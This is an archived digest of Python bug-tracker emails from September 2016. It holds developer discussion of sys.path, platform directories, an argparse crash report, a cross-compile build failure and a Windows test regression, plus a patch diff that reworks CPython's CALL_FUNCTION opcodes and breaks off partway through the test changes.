Date: Sat, 10 Sep 2016 14:16:56 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <1473517016.62.0.356067211383.issue27874@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Joseph: "plat-win" was actually removed from the comment in #28046; it is an obsolete name that hasn't been used since August 21, 2000.  I just killed the platform directories, let's not bring them back :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:20:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 14:20:32 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <20160910142026.87494.96265.49673FCA@psf.io>


Roundup Robot added the comment:

New changeset 1d71ce4531ac by Xavier de Gaye in branch 'default':
Issue #28046: Fix get_sysconfigdata_name().
https://hg.python.org/cpython/rev/1d71ce4531ac

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:21:14 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 14:21:14 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473517274.07.0.280281653531.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

With this patch no extensions in Modules/ can be built. Let me check whether there's a bug in my build script.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:37:34 2016
From: report at bugs.python.org (Joseph Shen)
Date: Sat, 10 Sep 2016 14:37:34 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1473517016.62.0.356067211383.issue27874@psf.upfronthosting.co.za>
Message-ID: <CAOYQ2BXSTmHO9fbJJ7Js+nnkQnfbpPCkLvqB-uX8giLG_VXrSA@mail.gmail.com>


Joseph Shen added the comment:

Oh, can't believe this, and I thought iPhone 8 will bring back my lovely
3.5mm jack ^_^

On Sat, Sep 10, 2016 at 22:16 Zachary Ware <report at bugs.python.org> wrote:

>
> Zachary Ware added the comment:
>
> Joseph: "plat-win" was actually removed from the comment in #28046; it is
> an obsolete name that hasn't been used since August 21, 2000.  I just
> killed the platform directories, let's not bring them back :)
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27874>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:58:54 2016
From: report at bugs.python.org (John Didion)
Date: Sat, 10 Sep 2016 14:58:54 +0000
Subject: [issue28063] Adding a mutually exclusive group to an argument group
 results in segmentation fault under linux
Message-ID: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>


New submission from John Didion:

The following code works fine when I run it on OSX 10.9, but causes a segmentation fault when run on linux. Specifically, the Travis build on python 3.5.2 results in a segfault when the last line is uncommented.

import argparse
parser = argparse.ArgumentParser()
group = parser.add_argument_group("Colorspace options")
group.add_mutually_exclusive_group()

----------
messages: 275645
nosy: John.Didion
priority: normal
severity: normal
status: open
title: Adding a mutually exclusive group to an argument group results in segmentation fault under linux
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:01:28 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sat, 10 Sep 2016 15:01:28 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473519688.01.0.279551096988.issue26081@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44531/fastfuture.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:03:06 2016
From: report at bugs.python.org (John Didion)
Date: Sat, 10 Sep 2016 15:03:06 +0000
Subject: [issue28063] Adding a mutually exclusive group to an argument group
 results in segmentation fault under linux
In-Reply-To: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>
Message-ID: <1473519786.54.0.381441150212.issue28063@psf.upfronthosting.co.za>


John Didion added the comment:

This code also works fine when I run it myself on python 3.5.1 on an SL6 machine, so it's either specific to 3.5.2 or it's very platform-specific.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:11:50 2016
From: report at bugs.python.org (SilentGhost)
Date: Sat, 10 Sep 2016 15:11:50 +0000
Subject: [issue28063] Adding a mutually exclusive group to an argument group
 results in segmentation fault under linux
In-Reply-To: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>
Message-ID: <1473520310.63.0.470718065793.issue28063@psf.upfronthosting.co.za>


SilentGhost added the comment:

Cannot reproduce this either on stock 3.5.2 or 3.6 on Ubuntu.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:12:54 2016
From: report at bugs.python.org (SilentGhost)
Date: Sat, 10 Sep 2016 15:12:54 +0000
Subject: [issue28054] Diff for visually comparing actual with expected in
 mock.assert_called_with.
In-Reply-To: <1473461073.51.0.19108692382.issue28054@psf.upfronthosting.co.za>
Message-ID: <1473520374.54.0.554718828662.issue28054@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +michael.foord
versions: +Python 3.7 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28054>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:14:40 2016
From: report at bugs.python.org (John Didion)
Date: Sat, 10 Sep 2016 15:14:40 +0000
Subject: [issue28063] Adding a mutually exclusive group to an argument group
 results in segmentation fault under linux
In-Reply-To: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>
Message-ID: <1473520480.66.0.162344620136.issue28063@psf.upfronthosting.co.za>


John Didion added the comment:

I can't reproduce it with 3.5.2 on SL6 either. So it must be a weird issue specific to whatever environment they're using for builds on Travis. I'll close this and submit it as a bug over there.

----------
resolution:  -> works for me
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:16:02 2016
From: report at bugs.python.org (SilentGhost)
Date: Sat, 10 Sep 2016 15:16:02 +0000
Subject: [issue28063] Adding a mutually exclusive group to an argument group
 results in segmentation fault under linux
In-Reply-To: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>
Message-ID: <1473520562.2.0.863671797036.issue28063@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 11:57:28 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 15:57:28 +0000
Subject: [issue24391] Better repr for threading objects
In-Reply-To: <1433586102.76.0.662503832113.issue24391@psf.upfronthosting.co.za>
Message-ID: <1473523048.34.0.449664324339.issue24391@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I agree, that the address is the least interesting thing, and I think this is an argument to make it the last thing in the repr (at least for those of us who read from left to right). Many objects in different modules outputs the address last. The only exceptions are asyncio (just because it constructs reprs from super().__repr__(), including verbose "object" after type name), concurrent.futures and weakref.finalize (the latter contains multiple addresses in any case). Do we need "object" after type name?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24391>
_______________________________________

From report at bugs.python.org  Sat Sep 10 12:11:58 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 16:11:58 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473523918.73.0.446376107609.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Hmm things are quite complicated. Brief: the build is broken for out-of-source cross-compiling if the host Python is an in-source build.

(Below $build_dir refers to the directory that invokes $source_dir/configure)

In an out-of-source build, setup.py relies on sysconfig.get_config_var('srcdir') to get correct filenames. In _init_posix(), _get_sysconfigdata_name() still returns an incorrect name (for example, _sysconfigdata_m_linux_x86_64-linux-gnu, on Linux x86_64). There's no _sysconfigdata_m_linux_x86_64-linux-gnu.py in $build_dir/build/lib.linux-aarch64-3.6, so $PYTHON_FOR_BUILD imports the one from the host python, which has srcdir == '.' As a result, build_ext can't find source files:

building 'xxlimited' extension
/home/yen/Projects/python3-android/clang-bin/cc -fPIC -Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -march=x86-64 -mtune=generic -O2 -pipe -fstack-protector-strong -g -fvar-tracking-assignments -g -fvar-tracking-assignments -march=x86-64 -mtune=generic -O2 -pipe -fstack-protector-strong -g -fvar-tracking-assignments -g -fvar-tracking-assignments -std=c99 -DPy_LIMITED_API=0x03050000 -I./Include -I. -IInclude -I/usr/include -I/usr/local/include -I/home/yen/Projects/python3-android/src/cpython/build-target/Include -I/home/yen/Projects/python3-android/src/cpython/build-target -c xxlimited.c -o build/temp.linux-aarch64-3.6/xxlimited.o
clang: error: unknown argument: '-fvar-tracking-assignments'
clang: error: unknown argument: '-fvar-tracking-assignments'
clang: error: unknown argument: '-fvar-tracking-assignments'
clang: error: unknown argument: '-fvar-tracking-assignments'
clang: error: no such file or directory: 'xxlimited.c'
clang: error: no input files

Ironically, before 1d71ce4531ac, $build_dir/build/lib.linux-aarch64-3.6 has _sysconfigdata_m_linux_x86_64-linux-gnu.py, so building is OK.

Again, I don't know to fix it :(

[1] https://hg.python.org/cpython/file/1d71ce4531ac/setup.py#l218

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 12:16:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 16:16:45 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>
Message-ID: <1473524205.52.0.688669056146.issue28059@psf.upfronthosting.co.za>


STINNER Victor added the comment:

http://buildbot.python.org/all/builders/AMD64%20Windows8%203.x/builds/2553/steps/test/logs/stdio

test_architecture_via_symlink (test.test_platform.PlatformTest) ... Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "D:\buildarea\3.x.bolen-windows8\build\lib\platform.py", line 501, in <module>
    import ctypes
  File "D:\buildarea\3.x.bolen-windows8\build\lib\ctypes\__init__.py", line 7, in <module>
    from _ctypes import Union, Structure, Array
ModuleNotFoundError: No module named '_ctypes'
FAIL

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:48:21 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 19:48:21 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1473447153.99.0.501312935668.issue27213@psf.upfronthosting.co.za>
Message-ID: <2000617.GVW8BFQZ9X@xarax>


Serhiy Storchaka added the comment:

You changed the test. I made the code passing unchanged test (in additional 
the bytecode for f(*a) and f(**kw) becomes simpler). _PyEval_EvalCodeWithName 
still contained large duplicated part. It can be removed.

Here is my current patch.

----------
Added file: http://bugs.python.org/file44508/callfunc-9.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________
-------------- next part --------------
diff -r 98a57845c8cc Include/opcode.h
--- a/Include/opcode.h	Fri Sep 09 07:38:50 2016 +0000
+++ b/Include/opcode.h	Fri Sep 09 22:43:11 2016 +0300
@@ -108,9 +108,8 @@ extern "C" {
 #define LOAD_DEREF              136
 #define STORE_DEREF             137
 #define DELETE_DEREF            138
-#define CALL_FUNCTION_VAR       140
 #define CALL_FUNCTION_KW        141
-#define CALL_FUNCTION_VAR_KW    142
+#define CALL_FUNCTION_EX        142
 #define SETUP_WITH              143
 #define EXTENDED_ARG            144
 #define LIST_APPEND             145
diff -r 98a57845c8cc Lib/dis.py
--- a/Lib/dis.py	Fri Sep 09 07:38:50 2016 +0000
+++ b/Lib/dis.py	Fri Sep 09 22:43:11 2016 +0300
@@ -314,8 +314,6 @@ def _get_instructions_bytes(code, varnam
                 argrepr = argval
             elif op in hasfree:
                 argval, argrepr = _get_name_info(arg, cells)
-            elif op in hasnargs:
-                argrepr = "%d positional, %d keyword pair" % (arg%256, arg//256)
         yield Instruction(opname[op], op,
                           arg, argval, argrepr,
                           offset, starts_line, is_jump_target)
diff -r 98a57845c8cc Lib/importlib/_bootstrap_external.py
--- a/Lib/importlib/_bootstrap_external.py	Fri Sep 09 07:38:50 2016 +0000
+++ b/Lib/importlib/_bootstrap_external.py	Fri Sep 09 22:43:11 2016 +0300
@@ -236,6 +236,7 @@ def _write_atomic(path, data, mode=0o666
 #     Python 3.6b1  3373 (add BUILD_STRING opcode #27078)
 #     Python 3.6b1  3375 (add SETUP_ANNOTATIONS and STORE_ANNOTATION opcodes
 #                         #27985)
+#     Python 3.6a1  3376 (simplify CALL_FUNCTIONs & BUILD_MAP_UNPACK_WITH_CALL)
 #
 # MAGIC must change whenever the bytecode emitted by the compiler may no
 # longer be understood by older implementations of the eval loop (usually
@@ -244,7 +245,7 @@ def _write_atomic(path, data, mode=0o666
 # Whenever MAGIC_NUMBER is changed, the ranges in the magic_values array
 # in PC/launcher.c must also be updated.
 
-MAGIC_NUMBER = (3375).to_bytes(2, 'little') + b'\r\n'
+MAGIC_NUMBER = (3376).to_bytes(2, 'little') + b'\r\n'
 _RAW_MAGIC_NUMBER = int.from_bytes(MAGIC_NUMBER, 'little')  # For import.c
 
 _PYCACHE = '__pycache__'
diff -r 98a57845c8cc Lib/opcode.py
--- a/Lib/opcode.py	Fri Sep 09 07:38:50 2016 +0000
+++ b/Lib/opcode.py	Fri Sep 09 22:43:11 2016 +0300
@@ -31,7 +31,7 @@ hasjabs = []
 haslocal = []
 hascompare = []
 hasfree = []
-hasnargs = []
+hasnargs = [] # unused
 
 opmap = {}
 opname = ['<%r>' % (op,) for op in range(256)]
@@ -172,8 +172,7 @@ haslocal.append(126)
 name_op('STORE_ANNOTATION', 127) # Index in name list
 
 def_op('RAISE_VARARGS', 130)    # Number of raise arguments (1, 2, or 3)
-def_op('CALL_FUNCTION', 131)    # #args + (#kwargs << 8)
-hasnargs.append(131)
+def_op('CALL_FUNCTION', 131)    # #args
 def_op('MAKE_FUNCTION', 132)    # Flags
 def_op('BUILD_SLICE', 133)      # Number of items
 def_op('LOAD_CLOSURE', 135)
@@ -185,12 +184,8 @@ hasfree.append(137)
 def_op('DELETE_DEREF', 138)
 hasfree.append(138)
 
-def_op('CALL_FUNCTION_VAR', 140)     # #args + (#kwargs << 8)
-hasnargs.append(140)
-def_op('CALL_FUNCTION_KW', 141)      # #args + (#kwargs << 8)
-hasnargs.append(141)
-def_op('CALL_FUNCTION_VAR_KW', 142)  # #args + (#kwargs << 8)
-hasnargs.append(142)
+def_op('CALL_FUNCTION_KW', 141)  # #args + #kwargs
+def_op('CALL_FUNCTION_EX', 142)  # Flags
 
 jrel_op('SETUP_WITH', 143)
 
diff -r 98a57845c8cc Lib/test/test_dis.py
--- a/Lib/test/test_dis.py	Fri Sep 09 07:38:50 2016 +0000
+++ b/Lib/test/test_dis.py	Fri Sep 09 22:43:11 2016 +0300
@@ -96,7 +96,7 @@ def _f(a):
 dis_f = """\
 %3d           0 LOAD_GLOBAL              0 (print)
               2 LOAD_FAST                0 (a)
-              4 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+              4 CALL_FUNCTION            1
               6 POP_TOP
 
 %3d           8 LOAD_CONST               1 (1)
@@ -108,7 +108,7 @@ dis_f = """\
 dis_f_co_code = """\
           0 LOAD_GLOBAL              0 (0)
           2 LOAD_FAST                0 (0)
-          4 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+          4 CALL_FUNCTION            1
           6 POP_TOP
           8 LOAD_CONST               1 (1)
          10 RETURN_VALUE
@@ -126,7 +126,7 @@ dis_bug708901 = """\
               4 LOAD_CONST               1 (1)
 
 %3d           6 LOAD_CONST               2 (10)
-              8 CALL_FUNCTION            2 (2 positional, 0 keyword pair)
+              8 CALL_FUNCTION            2
              10 GET_ITER
         >>   12 FOR_ITER                 4 (to 18)
              14 STORE_FAST               0 (res)
@@ -154,11 +154,11 @@ dis_bug1333982 = """\
              10 MAKE_FUNCTION            0
              12 LOAD_FAST                0 (x)
              14 GET_ITER
-             16 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+             16 CALL_FUNCTION            1
 
 %3d          18 LOAD_CONST               4 (1)
              20 BINARY_ADD
-             22 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+             22 CALL_FUNCTION            1
              24 RAISE_VARARGS            1
 
 %3d     >>   26 LOAD_CONST               0 (None)
@@ -224,14 +224,14 @@ dis_annot_stmt_str = """\
 
   3          10 LOAD_NAME                2 (fun)
              12 LOAD_CONST               0 (1)
-             14 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+             14 CALL_FUNCTION            1
              16 STORE_ANNOTATION         3 (y)
 
   4          18 LOAD_CONST               0 (1)
              20 LOAD_NAME                4 (lst)
              22 LOAD_NAME                2 (fun)
              24 LOAD_CONST               1 (0)
-             26 CALL_FUNCTION            1 (1 positional, 0 keyword pair)
+             26 CALL_FUNCTION            1
              28 STORE_SUBSCR
              30 LOAD_NAME                1 (int)
              32 POP_TOP
@@ -698,7 +698,7 @@ expected_opinfo_outer = [
   Instruction(opname='BUILD_LIST', opcode=103, arg=0, argval=0, argrepr='', offset=26, starts_line=None, is_jump_target=False),
   Instruction(opname='BUILD_MAP', opcode=105, arg=0, argval=0, argrepr='', offset=28, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=7, argval='Hello world!', argrepr="'Hello world!'", offset=30, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=7, argval=7, argrepr='7 positional, 0 keyword pair', offset=32, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=7, argval=7, argrepr='', offset=32, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=34, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=2, argval='f', argrepr='f', offset=36, starts_line=8, is_jump_target=False),
   Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=38, starts_line=None, is_jump_target=False),
@@ -720,7 +720,7 @@ expected_opinfo_f = [
   Instruction(opname='LOAD_DEREF', opcode=136, arg=3, argval='b', argrepr='b', offset=24, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_DEREF', opcode=136, arg=0, argval='c', argrepr='c', offset=26, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_DEREF', opcode=136, arg=1, argval='d', argrepr='d', offset=28, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=4, argval=4, argrepr='4 positional, 0 keyword pair', offset=30, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=4, argval=4, argrepr='', offset=30, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=32, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=2, argval='inner', argrepr='inner', offset=34, starts_line=6, is_jump_target=False),
   Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=36, starts_line=None, is_jump_target=False),
@@ -734,7 +734,7 @@ expected_opinfo_inner = [
   Instruction(opname='LOAD_DEREF', opcode=136, arg=3, argval='d', argrepr='d', offset=8, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='e', argrepr='e', offset=10, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=1, argval='f', argrepr='f', offset=12, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=6, argval=6, argrepr='6 positional, 0 keyword pair', offset=14, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=6, argval=6, argrepr='', offset=14, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=16, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=None, argrepr='None', offset=18, starts_line=None, is_jump_target=False),
   Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False),
@@ -744,13 +744,13 @@ expected_opinfo_jumpy = [
   Instruction(opname='SETUP_LOOP', opcode=120, arg=52, argval=54, argrepr='to 54', offset=0, starts_line=3, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=0, argval='range', argrepr='range', offset=2, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=10, argrepr='10', offset=4, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=6, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=6, starts_line=None, is_jump_target=False),
   Instruction(opname='GET_ITER', opcode=68, arg=None, argval=None, argrepr='', offset=8, starts_line=None, is_jump_target=False),
   Instruction(opname='FOR_ITER', opcode=93, arg=32, argval=44, argrepr='to 44', offset=10, starts_line=None, is_jump_target=True),
   Instruction(opname='STORE_FAST', opcode=125, arg=0, argval='i', argrepr='i', offset=12, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=14, starts_line=4, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='i', argrepr='i', offset=16, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=18, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=18, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='i', argrepr='i', offset=22, starts_line=5, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval=4, argrepr='4', offset=24, starts_line=None, is_jump_target=False),
@@ -766,14 +766,14 @@ expected_opinfo_jumpy = [
   Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=44, starts_line=None, is_jump_target=True),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=46, starts_line=10, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='I can haz else clause?', argrepr="'I can haz else clause?'", offset=48, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=50, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=50, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=52, starts_line=None, is_jump_target=False),
   Instruction(opname='SETUP_LOOP', opcode=120, arg=52, argval=108, argrepr='to 108', offset=54, starts_line=11, is_jump_target=True),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='i', argrepr='i', offset=56, starts_line=None, is_jump_target=True),
   Instruction(opname='POP_JUMP_IF_FALSE', opcode=114, arg=98, argval=98, argrepr='', offset=58, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=60, starts_line=12, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='i', argrepr='i', offset=62, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=64, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=64, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=66, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_FAST', opcode=124, arg=0, argval='i', argrepr='i', offset=68, starts_line=13, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=5, argval=1, argrepr='1', offset=70, starts_line=None, is_jump_target=False),
@@ -793,7 +793,7 @@ expected_opinfo_jumpy = [
   Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=98, starts_line=None, is_jump_target=True),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=100, starts_line=19, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=6, argval='Who let lolcatz into this test suite?', argrepr="'Who let lolcatz into this test suite?'", offset=102, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=104, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=104, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=106, starts_line=None, is_jump_target=False),
   Instruction(opname='SETUP_FINALLY', opcode=122, arg=70, argval=180, argrepr='to 180', offset=108, starts_line=20, is_jump_target=True),
   Instruction(opname='SETUP_EXCEPT', opcode=121, arg=12, argval=124, argrepr='to 124', offset=110, starts_line=None, is_jump_target=False),
@@ -812,7 +812,7 @@ expected_opinfo_jumpy = [
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=136, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=138, starts_line=23, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=8, argval='Here we go, here we go, here we go...', argrepr="'Here we go, here we go, here we go...'", offset=140, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=142, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=142, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=144, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=146, starts_line=None, is_jump_target=False),
   Instruction(opname='JUMP_FORWARD', opcode=110, arg=26, argval=176, argrepr='to 176', offset=148, starts_line=None, is_jump_target=False),
@@ -822,7 +822,7 @@ expected_opinfo_jumpy = [
   Instruction(opname='STORE_FAST', opcode=125, arg=1, argval='dodgy', argrepr='dodgy', offset=156, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=158, starts_line=26, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=9, argval='Never reach this', argrepr="'Never reach this'", offset=160, starts_line=None, is_jump_target=False),
-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=162, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=162, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=164, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=166, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=None, argrepr='None', offset=168, starts_line=None, is_jump_target=False),
@@ -833,7 +833,7 @@ expected_opinfo_jumpy = [
   Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=None, argrepr='None', offset=178, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_GLOBAL', opcode=116, arg=1, argval='print', argrepr='print', offset=180, starts_line=28, is_jump_target=True),
   Instruction(opname='LOAD_CONST', opcode=100, arg=10, argval="OK, now we're done", argrepr='"OK, now we\'re done"', offset=182, starts_line=None, is_jump_target=False),
